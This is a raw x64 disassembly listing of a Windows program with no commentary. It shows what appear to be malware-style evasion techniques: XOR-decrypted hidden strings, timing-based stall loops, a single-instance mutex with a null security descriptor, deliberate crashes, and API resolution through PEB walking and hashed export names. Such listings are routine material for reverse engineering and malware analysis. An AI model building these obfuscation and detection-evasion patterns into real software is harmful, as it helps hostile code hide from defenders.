mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x278]
lea rcx, [rsp + 0x960]
call fcn.14024dd60
mov dword [rsp + 0x98], 9
lea rcx, [rsp + 0x960]
jmp 0x14023d2ec
movups xmm0, xmmword [str.z0___pln_exkte]
movups xmmword [rsp + 0x2c8], xmm0
movups xmm1, xmmword [0x14027d6e8]
movups xmmword [rsp + 0x2d8], xmm1
movsd xmm0, qword [0x14027d6f8]
movsd qword [rsp + 0x2e8], xmm0
movzx eax, word [0x14027d700]
mov word [rsp + 0x2f0], ax
cmp dword [0x140291090], 2
jl 0x14023d209
mov r9d, edi
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x2cc]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm3, xmm4
punpckldq xmm3, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, edx
paddb xmm1, xmm0
movd xmm0, dword [rcx]
xorps xmm1, xmm0
movd dword [rcx], xmm1
add r9d, 8
lea rcx, [rcx + 8]
cmp r9d, 0x28
jl 0x14023d090
cmp r9d, 0x2a
jge 0x14023d26c
movsxd rax, r9d
lea r10, [rsp + 0x2c8]
add r10, rax
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0x2a
jl 0x14023d220
lea rax, [rsp + 0x2c8]
mov rcx, r15
inc rcx
cmp byte [rax + rcx], 0
jne 0x14023d277
movabs rax, 0x7fffffffffffffff
mov rdx, qword [rsp + 0xb98]
sub rax, rdx
cmp rax, rcx
jb 0x1402438b6
lea rax, [rsp + 0xb88]
cmp qword [rsp + 0xba0], 0xf
cmova rax, qword [rsp + 0xb88]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x2c8]
lea rcx, [rsp + 0x980]
call fcn.14024dd60
mov dword [rsp + 0x98], r13d
lea rcx, [rsp + 0x980]
call fcn.1401ffd40
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x4804], 0xffffffff
mov dword [rsp + 0x3484], eax
mov edx, 1
nop
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x3484], eax
inc rdx
cmp rdx, 0x270
jb 0x14023d310
mov dword [rsp + 0x3480], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
mov r12d, 1
nop dword [rax]
lea rcx, [rsp + 0x838]
call fcn.1401f2240
cmp qword [rax], r14
jge 0x14023d4e9
mov qword [rsp + 0x50], 0x186a0
nop
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023d3bb
nop dword [rax + rax]
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023d3a0
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d40b
nop word [rax + rax]
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d3f0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d45b
nop
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d440
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d4ab
nop
lea rcx, [rsp + 0x3480]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d490
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x50], r12
jne 0x14023d380
jmp 0x14023d360
mov eax, dword [rsp + 0x40]
mov eax, dword [str.qqwqH]
mov dword [rsp + 0x70], eax
movzx eax, byte [0x14027dcb8]
mov byte [rsp + 0x70], 0x31
xor byte [rsp + 0x71], 0x42
xor byte [rsp + 0x72], 0x44
xor byte [rsp + 0x73], 0x46
xor al, 0x48
mov byte [rsp + 0x74], al
lea rcx, [rsp + 0x70]
mov rax, r15
movabs r14, 0xff00ff00ff00ff00
nop word [rax + rax]
inc rax
cmp byte [rcx + rax], 0
jne 0x14023d530
lea rcx, [0x140294548]
cmp qword [0x140294560], 0xf
cmova rcx, qword [0x140294548]
mov r8, qword [0x140294558]
cmp r8, rax
jne 0x14023d780
lea rdx, [rsp + 0x70]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14023d780
mov qword [0], rdi
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x5b94], 0xffffffff
mov dword [rsp + 0x4814], eax
mov rsi, r12
mov rdx, r12
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x4814], eax
inc rdx
cmp rdx, 0x270
jb 0x14023d5a0
mov dword [rsp + 0x4810], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r13, qword [rsp + 0x50]
add r13, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x7a0]
call fcn.1401f2240
cmp qword [rax], r13
jge 0x14023d777
mov r12d, 0x186a0
nop dword [rax]
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023d64b
nop dword [rax + rax]
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023d630
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, esi
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d69b
nop dword [rax]
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d680
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d6eb
nop
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d6d0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d73b
nop
lea rcx, [rsp + 0x4810]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d720
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub r12, rsi
jne 0x14023d610
jmp 0x14023d5f0
mov eax, dword [rsp + 0x40]
jmp 0x1402436b2
call qword [sym.imp.MSVCP140.dll_unsigned_int___cdecl_std::_Random_device_void_]
mov dword [rsp + 0x6f24], 0xffffffff
mov dword [rsp + 0x5ba4], eax
mov rdx, r12
nop dword [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x5ba4], eax
inc rdx
cmp rdx, 0x270
jb 0x14023d7a0
mov dword [rsp + 0x5ba0], 0x270
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x50]
call fcn.1401f2240
mov r14, qword [rsp + 0x50]
add r14, 0x5f5e100
nop word [rax + rax]
lea rcx, [rsp + 0x7a8]
call fcn.1401f2240
cmp qword [rax], r14
jge 0x14023d979
mov qword [rsp + 0x50], 0x186a0
nop
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x63
ja 0x14023d84b
nop dword [rax + rax]
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rax, rcx, 0xc9
cmp eax, 0x64
jb 0x14023d830
shr rax, 0x20
lea ebx, [rax + 0x7fffff9c]
xor ebx, 0x80000000
cmove ebx, r12d
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d89b
nop word [rax + rax]
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d880
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d8eb
nop
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d8d0
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
imul eax, ecx
mov dword [rsp + 0x40], eax
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x63
ja 0x14023d93b
nop
lea rcx, [rsp + 0x5ba0]
call fcn.14025a000
mov ecx, eax
imul rcx, rcx, 0xc9
cmp ecx, 0x64
jb 0x14023d920
shr rcx, 0x20
add ecx, 0x7fffff9c
btc ecx, 0x1f
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
cdq
idiv ebx
mov dword [rsp + 0x40], edx
sub qword [rsp + 0x50], r12
jne 0x14023d810
jmp 0x14023d7f0
mov eax, dword [rsp + 0x40]
lea rdx, [0x140294330]
cmp qword [0x140294348], 0xf
cmova rdx, qword [0x140294330]
mov r8, qword [0x140294340]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140250fe0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140294560], 0xf
lea rdx, [0x140294548]
cmova rdx, qword [0x140294548]
mov r8, qword [0x140294558]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140250fe0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp qword [0x140294520], 0xf
lea rdx, [0x140294508]
cmova rdx, qword [0x140294508]
mov r8, qword [0x140294518]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140250fe0
lea rdx, [0x14024a5a0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov dword [rsp + 0xb58], 0x18
mov dword [rsp + 0xb68], edi
mov edx, 0x28
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
mov edx, r12d
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_InitializeSecurityDescriptor]
xor r9d, r9d
xor r8d, r8d
mov edx, r12d
mov rcx, rbx
call qword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorDacl]
mov qword [rsp + 0xb60], rbx
movsd xmm0, qword [str._a.__]
movsd qword [rsp + 0xb8], xmm0
mov ecx, dword [0x14027e8e8]
mov dword [rsp + 0xc0], ecx
movzx eax, byte [0x14027e8ec]
mov byte [rsp + 0xc4], al
mov r9d, edi
mov r12d, dword [0x140291090]
cmp r12d, 2
jl 0x14023dce8
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str._a.__]
xorps xmm2, xmm0
movd dword [rsp + 0xb8], xmm2
movdqa xmm11, xmmword [0x140280590]
movdqa xmm2, xmm11
punpckldq xmm2, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xbc]
xorps xmm2, xmm1
movd dword [rsp + 0xbc], xmm2
movdqa xmm12, xmmword [0x1402805b0]
movdqa xmm3, xmm12
punpckldq xmm3, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xc0], xmm2
mov r9d, 0xc
jmp 0x14023dcfa
movdqa xmm12, xmmword [0x1402805b0]
movdqa xmm11, xmmword [0x140280590]
mov eax, r9d
lea r10, [rsp + 0xb8]
add r10, rax
movabs r14, 0xff00ff00ff00ff00
nop dword [rax]
nop word [rax + rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xd
jl 0x14023dd20
lea rcx, [rsp + 0xb8]
mov rax, r15
inc rax
cmp byte [rcx + rax], 0
jne 0x14023dd77
mov rcx, qword [0x140294340]
movabs rdx, 0x7fffffffffffffff
sub rdx, rcx
cmp rdx, rax
jb 0x1402438b6
cmp qword [0x140294348], 0xf
lea rdx, [0x140294330]
cmova rdx, qword [0x140294330]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xb8]
lea rcx, [rsp + 0x578]
call fcn.14024dd60
or dword [rsp + 0x98], 4
lea r8, [rsp + 0x578]
cmp qword [rsp + 0x590], 0xf
cmova r8, qword [rsp + 0x578]
mov edx, 1
lea rcx, [rsp + 0xb58]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
lea rcx, [rsp + 0x578]
call fcn.140248aa0
movsd xmm0, qword [0x14027dd28]
movsd qword [rsp + 0xc8], xmm0
mov ecx, dword [0x14027dd30]
mov dword [rsp + 0xd0], ecx
movzx eax, word [0x14027dd34]
mov word [rsp + 0xd4], ax
cmp byte [0x14027dd35], 0
je 0x14023e0dc
mov r9d, edi
cmp r12d, 2
jl 0x14023e07f
movdqa xmm2, xmm9
punpckldq xmm2, xmm9
movdqa xmm1, xmm9
punpckhdq xmm1, xmm9
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm9
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd eax, xmm10
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14027dd28]
xorps xmm2, xmm0
movd dword [rsp + 0xc8], xmm2
movdqa xmm3, xmm11
punpckldq xmm3, xmm11
movdqa xmm1, xmm11
punpckhdq xmm1, xmm11
movdqa xmm2, xmm3
pmuldq xmm2, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm2, xmm0, 0xdd
psrad xmm2, 5
pmuldq xmm3, xmm7
pmuldq xmm1, xmm7
shufps xmm3, xmm1, 0xdd
psrad xmm3, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm13
movdqa xmm2, xmm11
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm14
movdqa xmm1, xmm11
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0xcc]
xorps xmm2, xmm1
movd dword [rsp + 0xcc], xmm2
movdqa xmm2, xmm12
punpckldq xmm2, xmm12
movdqa xmm1, xmm12
punpckhdq xmm1, xmm12
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm2, xmm12
psubd xmm2, xmm0
andps xmm2, xmm8
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
movdqa xmm1, xmm12
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm2, xmm1
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rsp + 0xd0], xmm2
mov r9d, 0xc
mov eax, r9d
lea r10, [rsp + 0xc8]
add r10, rax
nop dword [rax]
mov eax, 0x22b63cbf
imul r9d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x3b
mov eax, 0xb2b78c13
imul r9d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x35
sub cl, r8b
add cl, 0x20
add cl, r9b
add cl, cl
xor byte [r10], cl
inc r9d
lea r10, [r10 + 1]
cmp r9d, 0xe
jl 0x14023e090
xorps xmm0, xmm0
movups xmmword [rsp + 0x2f8], xmm0
mov qword [rsp + 0x308], rdi
mov qword [rsp + 0x310], rdi
lea rax, [rsp + 0xc8]
mov r8, r15
inc r8
cmp byte [rax + r8], 0
jne 0x14023e102
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x2f8]
call fcn.14020c680
lea rcx, [rsp + 0x2f8]
call fcn.1401ffd40
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov ebx, dword [rcx + r9 + 0x88]
add rbx, r9
cmp rbx, r9
je 0x1402438ae
mov r10d, dword [rbx + 0x18]
test r10d, r10d
je 0x1402438ae
mov ecx, dword [rbx + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rcx + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x3c97bd27
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1402438a2
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14023e1a0
cmp r8d, 0xef2bb771
jne 0x1402438a2
mov ecx, dword [rbx + 0x1c]
add rcx, r9
mov eax, dword [rbx + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov ecx, dword [rcx + rax*4]
add rcx, r9
call rcx
cmp eax, 0xb7
jne 0x14023e1f2
mov qword [0], rdi
jmp 0x1402436b2
movups xmm0, xmmword [str._t__2__49_3v_v._]
movups xmmword [rsp + 0x448], xmm0
movups xmm1, xmmword [0x14027cd28]
movups xmmword [rsp + 0x458], xmm1
movups xmm0, xmmword [0x14027cd38]
movups xmmword [rsp + 0x468], xmm0
mov eax, dword [0x14027cd48]
mov dword [rsp + 0x478], eax
movzx eax, word [0x14027cd4c]
mov word [rsp + 0x47c], ax
mov r9d, edi
cmp r12d, 2
jl 0x14023e3dd
movdqa xmmword [rsp + 0x50], xmm10
lea rcx, [rsp + 0x44c]
nop word [rax + rax]
movd xmm4, r9d
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
psubd xmm1, xmm0
andps xmm1, xmm8
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movdqa xmm0, xmm3
psrld xmm0, 0x1f
paddd xmm0, xmm3
pmulld xmm0, xmm13
psubd xmm4, xmm0
andps xmm4, xmm8
packuswb xmm4, xmm4
packuswb xmm4, xmm4
paddb xmm1, xmm4
movd xmm0, dword [rsp + 0x50]
paddb xmm1, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm1, xmm0
movd dword [rcx - 4], xmm1
lea eax, [r9 + 4]
movd xmm4, eax
pshufd xmm4, xmm4, 0
paddd xmm4, xmm9
movdqa xmm2, xmm4
punpckldq xmm2, xmm4
movdqa xmm1, xmm4
punpckhdq xmm1, xmm4
movdqa xmm3, xmm2
pmuldq xmm3, xmm6
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
shufps xmm3, xmm0, 0xdd
psrad xmm3, 5
pmuldq xmm2, xmm7
pmuldq xmm1, xmm7
shufps xmm2, xmm1, 0xdd
psrad xmm2, 4
movdqa xmm0, xmm2
psrld xmm0, 0x1f
paddd xmm0, xmm2
pmulld xmm0, xmm14
movdqa xmm1, xmm4
